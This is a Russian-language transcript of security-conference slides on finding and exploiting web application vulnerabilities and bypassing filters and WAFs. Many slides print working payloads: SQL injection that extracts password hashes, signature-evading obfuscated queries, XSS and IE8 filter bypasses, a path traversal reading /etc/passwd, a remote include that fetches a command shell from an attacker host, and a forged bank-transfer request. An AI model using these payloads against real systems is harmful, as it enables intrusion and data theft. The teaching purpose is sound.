Анализ защищенности web-приложений, выявление...

Post on 03-Nov-2014

76 Views

Category:

Documents

19 Downloads

Preview:

Click to see full reader

DESCRIPTION

Уязвимости и атаки на Web-приложения, общепринятые классификации уязвимостей. Ошибки, допускаемые разработчиками при создании клиентской и серверной частей Web-приложения, их возможные последствия и методы выявления и устранения. Примеры из практики. Обзор специализированных средств защиты Web-приложений: Web Application Firewall (WAF). Стоит ли полагаться на WAF? Методология выявления уязвимостей в Web-приложениях, в частности, с использованием различных средств автоматического анализа.

TRANSCRIPT

Анализ защищенности web-приложений, выявление уязвимостей в реальных

условиях

Дмитрий Евтеев, Александр Анисимов

Positive Technologies

О чем пойдет речь

Введение в тему безопасности web-приложений

Методология выявления уязвимостей в web-приложениях

Классические техники эксплуатации уязвимостей

Современные техники эксплуатации уязвимостей

Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности

Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)

Резюме

Опасный мир web-приложений

По данным компании Positive Technologies за 2008 год

• 83% сайтов содержат критические уязвимости

• 78% сайтов содержат уязвимости средней степени риска

• вероятность автоматизированного заражения страниц уязвимого web-приложения вредоносным кодом составляет приблизительно 15-20%

http://ptsecurity.ru/analytics.asp

Данные основываются на проведении 16121 автоматических сканирований, детальном анализе 59 web-приложений, в том числе с проведением анализа исходного кода более 10-ти из них.

Опасный мир web-приложений: статистика за 2008 г.

Классификация уязвимостей в web-приложениях

Web Application Security Consortium WASC-TCv2

http://projects.webappsec.org/Threat-Classification-Workinghttp://www.webappsec.org/projects/threat/

Опасный мир web-приложений: статистика за 2008 г.

Классификация уязвимостей в web-приложениях

OWASP Top 10• A1 - Cross Site Scripting (XSS)

• A2 - Injection Flaws (eq SQL Injection)

• A3 - Malicious File Execution (eq RFI)

• A4 - Insecure Direct Object Reference (eq Insufficient Authorization)

• A5 - Cross Site Request Forgery (CSRF)

• A6 - Information Leakage and Improper Error Handling (eq Information Leakage)

• A7 - Broken Authentication and Session Management (eq Credential/Session Prediction, Brute Force)

• A8 - Insecure Cryptographic Storage

• A9 - Insecure Communications (eq Insufficient Transport Layer Protection)

• A10 - Failure to Restrict URL Access (eq Insufficient Process Validation)

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Классификация уязвимостей в web-приложениях

CWE/SANS Top 25• Не безопасное взаимодействие между компонентами

CWE-20: Improper Input Validation CWE-116: Improper Encoding or Escaping of Output CWE-89: Failure to Preserve SQL Query Structure ('SQL Injection') CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting') CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection') CWE-319: Cleartext Transmission of Sensitive Information CWE-352: Cross-Site Request Forgery (CSRF) CWE-362: Race Condition CWE-209: Error Message Information Leak

• Риски при управлении ресурсами CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer CWE-642: External Control of Critical State Data CWE-73: External Control of File Name or Path CWE-426: Untrusted Search Path CWE-94: Failure to Control Generation of Code ('Code Injection') CWE-494: Download of Code Without Integrity Check CWE-404: Improper Resource Shutdown or Release CWE-665: Improper Initialization CWE-682: Incorrect Calculation

• Прочие угрозы CWE-285: Improper Access Control (Authorization) CWE-327: Use of a Broken or Risky Cryptographic Algorithm CWE-259: Hard-Coded Password CWE-732: Incorrect Permission Assignment for Critical Resource CWE-330: Use of Insufficiently Random Values CWE-250: Execution with Unnecessary Privileges CWE-602: Client-Side Enforcement of Server-Side Security

http://cwe.mitre.org/top25/

Подходы по снижению угроз

Директивный подход (Directive)

• Software Development Life Cycle (SDLC), «бумажная безопасность», выстраивание высокоуровневых процессов

Детективный подход (Detective)

• Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода

Профилактический подход (Preventive)

• Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)

Корректирующий подход (Corrective)

• Ведение журналов событий, обработка инцидентов

Подход к восстановлению (Recovery)

• Резервное копирование, стратегия обеспечения непрерывности бизнес-процессов (BS25999)

Часть 1: Выявление уязвимостей

Методология выявления уязвимостей в web-приложениях

Способы обнаружения уязвимостей в web-приложениях

Тестирование функций

• Метод «черного ящика» (black-box)

• Метод «серого ящика» (gray-box)

• Метод «белого ящика» (white-box)

Фаззинг (fuzzing)

Анализ исходного кода

• Статический анализ

• Динамический анализ

• Ручной анализ

Бинарный анализ приложения (binary analysis)

Пример тестирования функций методом «черного ящика»

Сканирование с использованием MaxPatrol

http://www.ptsecurity.ru/maxpatrol.asp

Пример тестирования функций методом «черного ящика»

Возможности метода «черного ящика» на примере MaxPatrol (1)

Пример тестирования функций методом «черного ящика»

Возможности метода «черного ящика» на примере MaxPatrol (2)

Пример тестирования функций методом «серого ящика»

Acunetix Web Vulnerability Scanner, технология «AcuSensor»

http://www.acunetix.com/websitesecurity/rightwvs.htm

Пример работы фаззера (fuzzing)

Фаззинг сайта, «защищенного» mod_rewrite

Тимур Юнусов, Positive Technologies Research Team (статья в ближайшее время будет опубликована на портале www.securitylab.ru)

Анализ исходного кода web-приложения

Статический анализ

• Минусы

Ошибки первого рода (false negative — «ненайденные уязвимости») при использовании статического анализа возникают в силу следующих причин:

• при программировании web-приложения используется сложный синтаксис;

• проверки переменных происходят с использованием собственных функций приложения;

• отсутствуют соответствующие сигнатуры.

В силу фундаментальных ограничений сигнатурного поиска возникает множество ошибок второго рода (false positive — «ложные сообщения об уязвимостях»).

• Плюсы

Простота в реализации.

Наиболее известные разработчики коммерческих продуктов

Armorize Technologies, Fortify, Ounce Labs

Анализ исходного кода web-приложения

Динамический анализ

• Минусы

Присущи те же недостатки, что и сканерам безопасности. Например, невозможно выявить уязвимости «Небезопасное восстановление паролей», «Отсутствие тайм-аута сессии», «Логические атаки» и пр.

Сложность в реализации.

• Плюсы

Наиболее качественная оценка исходного кода.

Наиболее известные разработчики коммерческих продуктов

Coverity, Valgrind, Fortify PTA

Часть 2: Эксплуатация уязвимостей (basic)

Классические техники эксплуатации уязвимостей

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

SQL Injection – Базовые знания

"Внедрение операторов SQL" Способ нападения на базу данных в обход межсетевой защиты. В этом

методе параметры, передаваемые базе данных через web- приложения, изменяются таким образом, чтобы изменить выполняемый SQL-запрос. Например, добавляя различные символы к параметру, можно выполнить дополнительный запрос совместно с превоначальным.

Выделяют два вида SQL Injection

• SQL Injection в строковом параметре

Примеры:

SELECT * from table where name = "$_GET['name']"

SELECT id, acl from table where user_agent = '$_SERVER["HTTP_USER_AGENT"]'

• SQL Injection в цифровом параметре

Примеры:

SELECT login, name from table where id = $_COOKIE["id"]

SELECT id, news from table where news = 123 limit $_POST["limit"]

SQL Injection – Базовые знания

Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения

• Уязвимый запрос может обрабатывать Insert, Update, Delete, etc.

• Инъекция может быть в любом участке SQL-запроса

• Blind SQL Injection (слепое внедрение операторов SQL)

• Особенности языка SQL, используемого в разных СУБД

Уязвимость SQL-инъекция – это не только уязвимость, характерная для web-приложений!

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

SQL Injection – Базовые знания

Анатомия SQL-инъекций

SQL-инъекция может эксплуатироваться как в момент проведения атаки, так и по прошествии некоторого времени

SQL Injection – Классическая эксплуатация (MySQL)

Возможный метод обнаружения уязвимости

/?id=1+ORDER+BY+100

• SQL-запрос примет вид

SELECT id, name from table where id =1 ORDER BY 100

• В результате может быть получено следующее сообщение об ошибке

ERROR 1054 (42S22): Unknown column '100' in 'order clause'

Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных из найденных таблиц

/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

• SQL-запрос примет вид

SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns

• В результате может быть получена требуемая информация в формате

| 0 | table1:column1 || 0 | table1:column2 |

SQL Injection – Различия СУБД

Особенности эксплуатации для разных СУБДПример (MySQL): SELECT * from table where id = 1 union select 1,2,3Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual

MySQL MSSQL MS Access Oracle DB2 PostgreSQL

Объединение строкconcat(,)

concat_ws(delim,)' '+' ' " "&" " ' '||' '

'' concat ''" "+" "

' '||' '' '||' '

Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /*

Объединение запросов union union и ; union union union union и ;

Подзапросы v.4.1 >= Да Нет Да Да Да

Хранимые процедуры Нет Да Нет Да Нет Да

Наличие information_schema или его аналога

v.5.0 >= Да Да Да Да Да

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Cross-Site Scripting – Базовые знания

"Межсайтовое выполнение сценариев“ Межсайтовое выполнение сценариев (Cross site scripting или XSS) – это

возможность вставки HTML-кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д.

Условно Cross-Site Scripting (XSS) делят на:• Сохраненный вариант (persistent/stored)• Отраженный вариант (non-persistent/reflected)

Cross-Site Scripting – это уязвимость на стороне клиента (client side)

• Microsoft Internet Explorer 8 XSS filter• Mozilla NoScript Firefox extension

Уязвимость типа «Межсайтовое выполнение сценариев»

web-серверhttp://web/?search=secureweb

…print "<b>secureweb</b>";…

Уязвимость типа «Межсайтовое выполнение сценариев»

web-серверhttp://web/?search=secureweb

…print "<b>secureweb</b>";…

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>

3. Переход по ссылке

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

5. Например, передача web-сессии (cookies)

6. Работа с web-приложением от имени атакованного пользователя

Cross-Site Scripting – Классическая эксплуатация

Возможный метод обнаружения уязвимости

/?id="><script>alert(1)</script>

• HTML-код возвращаемой страницы примет вид

…<font size=""><script>alert(1)</script>"…

• В результате браузер выполнит код java-script

Пример практического использования: "><script src=http://host/script.js></script>

Дополнительные материалы:• ha.ckers XSS Cheat Sheet: http://ha.ckers.org/xss.html• WASC Script Mapping: http://projects.webappsec.org/Script-Mapping

Cross-Site Scripting – Различия браузеров

http://projects.webappsec.org/Script-Mapping

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Статистика используемых паролей в России

Более 40% паролей можно взломать из-за простоты

Статистика по паролям низкой стойкости у администраторов:

Данные основываются на анализе более 185 тысяч паролей пользователей (http://www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf).

Уязвимость типа «Подбор»

web-серверhttp://web/secure/

Уязвимость типа «Подбор»

web-серверhttp://web/secure/

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Path Traversal, L/RFI– Базовые знания

Пример уязвимости Path Traversal• Логика программы:fopen($_GET['file'],"r"); index.php?file=myfile.txt• Пример эксплуатации:index.php?file=/../../../../../etc/passwd

Опасность уязвимости Local File IncludingФункции include() и require() интерпретируют текст как часть

программного кода!• Логика программы:include($_GET['file'].".inc"); index.php?file=myfile• Пример эксплуатации:index.php?file=img/command_shell.jpg%00

Рождение Remote File Including• Если allow_url_fopen & allow_url_include в состоянии enable, то:index.php?file=http://hacker.host/command_shell

Уязвимость типа «Обратный путь в директориях»

web-серверhttp://web/?file=positive.jpg

….$handle = fopen("positive.jpg","r"); $contents = fread($handle, filesize("positive.jpg")); ….

Уязвимость типа «Обратный путь в директориях»

web-серверhttp://web/?file=../../../../../../etc/passwd

….$handle = fopen("../../../../../../etc/passwd","r"); $contents = fread($handle, filesize("../../../../../../etc/passwd")); ….

Уязвимости web-приложений

Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF)

• Почти не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)

• В основном, ошибка в том или ином виде встречается во всех анализированных web-приложениях

• Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением

Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к web-приложению

Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)

Зачастую применяется связка XSS + CSRF

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

4. Если сессия пользователя существует, то…

Часть 3: Эксплуатация уязвимостей (advanced)

Современные техники эксплуатации уязвимостей

Уязвимость типа «Подделка HTTP-запросов»

Распространенные способы защиты от CSRF-атак:

• Использование CAPTHA

• Использование дополнительной аутентификации

Парольная аутентификация;

Одноразовый токен.

• Уникальный токен самого HTTP-запроса

Токен HTTP-запроса генерируется на стороне сервера;

Токен HTTP-запроса генерируется на стороне сервера и формируется на стороне клиента (javascript);

Токен HTTP-запроса генерируется на стороне сервера и меняется каждые N секунд. Клиент узнает о новом токене, используя технологию AJAX.

• Использование механизмов подписи транзакций

• Защита на основе проверки HTTP Referer

Защита от уязвимости типа «Подделка HTTP-запросов»

Пример реализации защиты от CSRF на основе OWASP CSRFGuard

http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project

Защита от уязвимости типа «Подделка HTTP-запросов»

Пример реализации защиты от CSRF на основе JSCK (java-script)

http://www.thespanner.co.uk/2007/10/22/jsck-demo-update/

Защита от уязвимости типа «Подделка HTTP-запросов»

OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard и др. – решения по защите от CSRF на уровне интеграции с приложением

mod_security в качестве проверки HTTP Referrer. Пример:

SecFilterSelective HTTP_REFERER "!(^$|^http:/www\.example\.com/)" chainSecFilterSelective REQUEST_URI "!^(/|/index\.html|/welcome\.html|)$" \"redirect:http://www.example.com/welcome.html"

Инструменты для обнаружения уязвимости CSRF:

• OWASP CSRFTester

• Grendel-Scan

• W3af

• и др.

Уязвимость типа «Динамическая подделка HTTP-запросов»

Современный CSRF – Dynamic Cross-Site Request Forgery

BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf

Как это работает?

• На основе «полезной информации» браузера пользователя можно провести Dynamic CSRF

• Фиксация сессии (Session Fixation)

• Использование вектора атаки типа "brute force" (используется атака "CSS History Hack")

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)

3. Переходит по ссылкеhttp://bonus/bonus.htm

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)

3. Переходит по ссылкеhttp://bonus/bonus.htm

4. На основе полученного Referer подгружается картинка:http://ibanking/action?account=12345&amount=500&for=54321&token=765234

5. Атака завершена

Уязвимость типа «Динамическая подделка HTTP-запросов»

Использование CSS History Hack (Jeremiah Grossman) для проведения Dynamic Cross-Site Request Forgery

BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf; http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/

Как это работает?

Вариант защиты:

http://www.safehistory.com/

CSRF & XSS

Почему CSRF & XSS ?

Облегчает проведение Dynamic Cross-Site Request Forgery

Зачастую используется для сканирования портов внутренней сети

• Снятие отпечатков используемых сервисов (fingerprinting)

• Определение полномочий (CSS History Hack)

Пример реализации: Yokoso (http://yokoso.inguardians.com/)

CSRF & XSS

Самая простая реализация порт-сканера на java-script

http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js

Атака «Anti DNS Pinning»

Атака "Anti DNS Pinning" (DNS rebinding)

Обход ограничений Same origin policy

Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к web-приложению через браузер пользователя.

BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html

Уязвимость типа «Anti DNS Pinning»

Контролируемый web-серверwww.hack.example (1.1.1.1)

MS Project Server192.168.0.1

Прочие

1. Пользователь обращается к внешнему web-серверу

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

Cisco SDM192.168.0.2

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

2. Полученный сценарий java-script, например,через 2 секунды делает повторное обращение

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

3. Атакующий блокирует доступ к web-серверу

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

4. Происходит повторное разрешениеимени www.hack.example

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

5. www.hack.example IN A 192.168.0.1

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

6. Браузер посылает запрос на 192.168.0.1:GET / HTTP/1.1Host: www.hack.example…

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

5. www.hack.example IN A 192.168.0.1

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Уязвимость типа «Anti DNS Pinning»

Cisco SDM192.168.0.2

MS Project Server192.168.0.1

Прочие

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

7. Образуется полноценный каналдля работы с внутренним ресурсом

Контролируемый web-серверwww.hack.example (1.1.1.1)

Часть 4: Эксплуатация уязвимостей (filters bypass)

Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности

Фильтры поступающих данных. Какие они бывают

Прозрачные для web-приложения

• magic_quotes_gpc, display_errors, etc

• mod_rewrite, ISAPI-фильтры, etc

Встроенные функции языка разработки

• УниверсальныеПример: addslashes(), addcslashes(), htmlspecialchars(), etc

• Предназначенные для определенной средыПример: mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc

Разрабатываемые самим программистом

• Приведение типов

• Использование регулярных выражений

Методы обхода фильтров безопасности (1) – SQL Injection

Использовать кодирование передаваемых в приложение данных

• Строка «qwerty» может быть представлена неограниченным количеством вариаций

Hex-кодирование: 0x717765727479

ASCII-представление: char(113),char(119),char(101),char(114), char(116),char(121)

Использование шифрования с разным ключом: ╧i╘═╗Г▐╗щ~)°°Р=

• Пример:

hex(AES_ENCRYPT('qwerty',1)) – это B969A9A01DA8E78FA8DD7E299C9CF23D

aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) – это qwerty

Методы обхода фильтров безопасности (2) – SQL Injection

Использовать представления, отсутствующие в фильтре

• Синонимы функций CHARACTER_LENGTH() -> CHAR_LENGTH()

LOWER() -> LCASE()

OCTET_LENGTH() -> LENGTH()

LOCATE() -> POSITION()

REGEXP() -> RLIKE()

UPPER() -> UCASE()

и т.д.

• Обфускация запроса и данных

Примеры обфускации строки «qwerty»:

reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110)))

concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))

Методы обхода фильтров безопасности – SQL Injection

Пример по обходу сигнатур (обфускация запроса)

• Следующий запрос попадает в сигнатуру приложения

/?id=1+union+(select+1,2+from+test.users)

• Но иногда используемые сигнатуры можно обойти

/?id=1+union+(select+'xz'from+xxx)

/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users))

/?id=1+union+(sELect'1',concat(login,hash)from+test.users)

/?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))

/?id=(1);exec('sel'+'ect'(1))

/?id=(1)or(0x50=0x50)

Методы обхода фильтров безопасности (3) – SQL Injection

Использовать null-byte для обхода бинарно-зависимых функций

Пример: if(ereg ("^(.){1,3}$", $_GET['param'])) { … }

/?param=123

ereg ("^(.){1,3}$", "123") – true

/?param=1234

ereg ("^(.){1,3}$", "1234") – false

/?param=1+union+select+1

ereg ("^(.){1,3}$", "1 union select 1") – false

/?param=123%00

ereg ("^(.){1,3}$", "123\0") - true

/?param=1/*%00*/union+select+1

ereg ("^(.){1,3}$", "1/*\0*/union select 1") - true

Методы обхода фильтров безопасности (4) – SQL Injection

Обход функции addslashes()

Это возможно, если существует уязвимость, позволяющая установить кодировку SJIS, BIG5 или GBK

Как это работает?

addslashes("'") т.е. 0x27 вернет "\'" т.е. 0x5c27

• Пример для кодировки GBK:

• 0xbf27 – некорректный символ

• 0xbf5c – корректный самостоятельный символ

• после обработки функцией addslashes() 0xbf27 превращается в 0xbf5c27 т.е. 0xbf5c и одинарную кавычку 0x27

Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/

Методы обхода фильтров безопасности (5) – SQL Injection

Пример распространенной уязвимости в функциях фильтров безопасности

• Следующий запрос не позволяет провести атаку

/?id=1+union+select+1,2,3/*

• Если в фильтре есть соответствующая уязвимость, то такой запрос успешно отработает

/?id=1+un/**/ion+sel/**/ect+1,2,3--

• SQL-запрос примет вид

SELECT * from table where id =1 union select 1,2,3--

Вместо конструкции /**/ может использоваться любые наборы символов, вырезаемые фильтром (eq #####, %00, etc)

Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)

Практика обхода фильтров на примере KIS 2009

Kaspersky Internet Security 2009

Ругается на: /?id=1 union select password from users

Но пропускает:

/?id=1 union select passwd from users

/?id=1 union select pass from users

/?id=1 union select login from users--

и т.п.

И пропускает: /?id=1+and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v--

Методы обхода фильтров безопасности – XSS

Пример эксплуатации XSS совместно с обходом встроенного фильтра от XSS-атак в Microsoft IE 8

<style>@\69\6d\70\6f\72\74 'http://ha.ckers.org/xss.css';</style>

D0znp, http://onsec.ru/vuln?id=4

Еще пример с BlackHat USA09:

<script>

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

</script>

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf; D0znp, http://oxod.ru/2009/08/26/обход-xss-фильтров-по-средствам-особенос/; http://sla.ckers.org/forum/read.php?2,31708

Методы обхода фильтров безопасности - Path Traversal

Пример уязвимости path traversal

• Логика программы:<? include("./files/".$_GET['file']) ; ?>• Эксплуатация уязвимости:/?id=/union%20select/../../../../../../../etc/passwd

Запрос принимает вид:<? include("./files//uni X on%20sel X ect/../../../../../../../etc/passwd") ; ?>

Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам

Часть 5: Эксплуатация уязвимостей (WAF bypass)

Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)

Что такое WAF

http://server/?id=6329&print=Y

Нас атакуют!

Ахтунг!!!

WAF Webserverhttp://server/?id=5351

http://server/?id=8234

http://server/?id=“><script>...

http://server/?id=1+union+select...

http://server/?id=/../../../etc/passwd

Нормализация данныхDecode HTML entities (e.g. &#99;, &quot;, &#xAA;)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...

Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...

Какие они бывают

По режиму работы:

• Мост/Маршрутизатор

• Обратный прокси-сервер

• Встроенный

По модели защиты:

• Основанный на сигнатуре (Signature-based)

• Основанный на правилах (Rule-based)

По реакции на «плохой» запрос:

• Очистка «опасных» данных

• Блокировка запроса

• Блокировка источника атаки

Методы обхода WAF

Фундаментальные ограничения технологии

• Неспособность полностью защитить web-приложение от всех возможных уязвимостей

Общие проблемы

• При использовании универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика

• Обработка возвращаемого трафика клиенту

Уязвимости реализации

• Технологии нормализации

• Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte, etc.)

Небезопасное восстановление паролей (Weak Password Recovery Validation)

Методы обхода WAF – Фундаментальные ограничения

IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3http://seclists.org/fulldisclosure/2009/Aug/0113.html

Практика обхода WAF: SQL Injection - нормализация

Пример уязвимости в функции нормализации запроса

• Следующий запрос не позволяет провести атаку

/?id=1+union+select+1,2,3/*

• Если в WAF есть соответствующая уязвимость, то такой запрос успешно отработает

/?id=1/*union*/union/*select*/select+1,2,3/*

• После обработки WAF запрос примет следующий вид

index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки

Практика обхода WAF: SQL Injection – HPP (пример 1)

Использование HTTP Parameter Pollution (HPP)

• Следующий запрос не позволяет провести атаку

/?id=1;select+1,2,3+from+users+where+id=1--

• Такой запрос успешно отработает при использовании HPP

/?id=1;select+1&id=2,3+from+users+where+id=1--

Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения

OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Практика обхода WAF: SQL Injection – HPP

Как это работает?

Пример в среде IIS/ASP

GET /index.asp?id=param1&id=param2&id=param3 HTTP/1.1Host: localhost…

